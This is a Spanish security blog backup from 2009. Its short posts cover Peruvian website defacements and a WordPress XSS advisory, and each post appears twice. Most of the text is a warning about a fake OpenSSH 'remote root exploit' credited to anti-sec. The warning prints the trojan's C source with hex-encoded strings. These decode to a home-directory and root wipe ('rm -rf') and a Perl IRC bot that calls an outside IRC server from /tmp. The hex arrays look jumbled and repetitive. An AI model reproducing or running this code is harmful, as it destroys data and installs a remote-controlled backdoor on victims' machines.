Backup Oficial de SeguridadBlanca.Org
sábado, 21 de noviembre de 2009
Peru Atacado!
Algunas de las paginas defaceadas han sido:
http://thecars.com.pe/
http://www.peru.gob.pe/
http://ciberdocencia.gob.pe/
========================================
Da pena que webs de nuestro gobierno sean así de vulnerables habiendo tanto potencial en perú.
Y lo que si no me ha gustado son los mensajes agresivos de parte de los Black-Hat Chilenos...
Se me vienen muchas preguntas a la cabeza...
¿Ciber-Guerra?
¿Donde Está Elite-Peruvian?
¿Que Mierda tiene el gobierno en la cabeza?
EDITO: Para variar un grupo de fanáticos peruanos estan haciendo DOS o DDOS a la web del gobierno chileno...
Saludos
Dr.White
Peru Atacado!
Algunas de las paginas defaceadas han sido:
http://thecars.com.pe/
http://www.peru.gob.pe/
http://ciberdocencia.gob.pe/
========================================
Da pena que webs de nuestro gobierno sean así de vulnerables habiendo tanto potencial en perú.
Y lo que si no me ha gustado son los mensajes agresivos de parte de los Black-Hat Chilenos...
Se me vienen muchas preguntas a la cabeza...
¿Ciber-Guerra?
¿Donde Está Elite-Peruvian?
¿Que Mierda tiene el gobierno en la cabeza?
EDITO: Para variar un grupo de fanáticos peruanos estan haciendo DOS o DDOS a la web del gobierno chileno...
Saludos
Dr.White
lunes, 12 de octubre de 2009
Maradona Defaced...
imagen del deface:
Click aquí para verla...
El hacker fue Elite Peruvian por lo que puedo deducir que fueron varios, pusieron una caricatura de maradona dentro del portal como lo es esta...
cumplo con avisar...
Saludos
Dr.White
Maradona Defaced...
imagen del deface:
Click aquí para verla...
El hacker fue Elite Peruvian por lo que puedo deducir que fueron varios, pusieron una caricatura de maradona dentro del portal como lo es esta...
cumplo con avisar...
Saludos
Dr.White
domingo, 11 de octubre de 2009
FPF Defaceada
Saludos
Dr.White
FPF Defaceada
Saludos
Dr.White
martes, 1 de septiembre de 2009
Defacean la UTP?
Link de uno de los defaces: http://www.utp.edu.pe/al.aspx?idC=000057
Al parecer la UTP era vulnerable a Sql Injection en ASP.NET...
Aqui una imagen de lo que yo vi:
Saludos
Dr.White
Defacean la UTP?
Link de uno de los defaces: http://www.utp.edu.pe/al.aspx?idC=000057
Al parecer la UTP era vulnerable a Sql Injection en ASP.NET...
Aqui una imagen de lo que yo vi:
Saludos
Dr.White
jueves, 23 de julio de 2009
Falso Remote Exploit por Anti-Sec para SSH
A estas alturas todos hemos oído hablar del grupo "anti-sec", famoso por hackear imageshack, blackhat-forums y astalavista, aparte de amenazar con hackear milw0rm.

Y, como sabréis, hubo rumores de que había un 0-day para openssh y que era el usado por anti-sec para hacerse con estos sitios. De hecho, desde hace una semana o así, ha habido un considerable aumento en escanos del puerto 22.
El 0-day, que en realidad un script que destroza el OS, es éste:
* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/
#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
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"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
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"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
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"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
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"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";
char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
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"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)
void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}
#define FD 0x080518fc
#define BD 0x08082000
int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;
if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}
if(argc < 3){
usage(argv[0]);
return 1;
}
printf("\n [+] 0wn0wn - by anti-sec group\n");
if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}
payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}
He quitado los includes del principio para que no compile, así a nadie se le ocurrirá ejecutarlo.
Falso Remote Exploit por Anti-Sec para SSH
A estas alturas todos hemos oído hablar del grupo "anti-sec", famoso por hackear imageshack, blackhat-forums y astalavista, aparte de amenazar con hackear milw0rm.

Y, como sabréis, hubo rumores de que había un 0-day para openssh y que era el usado por anti-sec para hacerse con estos sitios. De hecho, desde hace una semana o así, ha habido un considerable aumento en escanos del puerto 22.
El 0-day, que en realidad un script que destroza el OS, es éste:
* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/
#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";
char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)
void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}
#define FD 0x080518fc
#define BD 0x08082000
int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;
if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}
if(argc < 3){
usage(argv[0]);
return 1;
}
printf("\n [+] 0wn0wn - by anti-sec group\n");
if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}
payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}
He quitado los includes del principio para que no compile, así a nadie se le ocurrirá ejecutarlo.
lunes, 20 de julio de 2009
Bug XSS en Wordpress 2.8.1
Parece que Automattic, la empresa desarrolladora de Wordpress ha tenido mucho trabajo últimamente con la rama 2.8.x de su producto, primero corrigieron un error en la versión 2.8 de WordPress, sacando la 2.8.1 y en menos de 15 dias ha salido esta nueva versión 2.8.2 que soluciona una vulnerabilidad XSS en los comentarios, haciendo posible que desde el panel de administración, un comentario especialmente diseñado, redirija al asministrador a una url donde por ejemplo puedan robar sus cookies y acceder como administrador a nuestro panel.
Es recomendable que actualices tu versión de WordPress a la 2.8.2 aun no sale oficialmente en español, pero puedes utilizar este paquete de idiomas para traducirlo.
Fuente: Dragonjar
Saludos
Dr.White
Bug XSS en Wordpress 2.8.1
Parece que Automattic, la empresa desarrolladora de Wordpress ha tenido mucho trabajo últimamente con la rama 2.8.x de su producto, primero corrigieron un error en la versión 2.8 de WordPress, sacando la 2.8.1 y en menos de 15 dias ha salido esta nueva versión 2.8.2 que soluciona una vulnerabilidad XSS en los comentarios, haciendo posible que desde el panel de administración, un comentario especialmente diseñado, redirija al asministrador a una url donde por ejemplo puedan robar sus cookies y acceder como administrador a nuestro panel.
Es recomendable que actualices tu versión de WordPress a la 2.8.2 aun no sale oficialmente en español, pero puedes utilizar este paquete de idiomas para traducirlo.
Fuente: Dragonjar
Saludos
Dr.White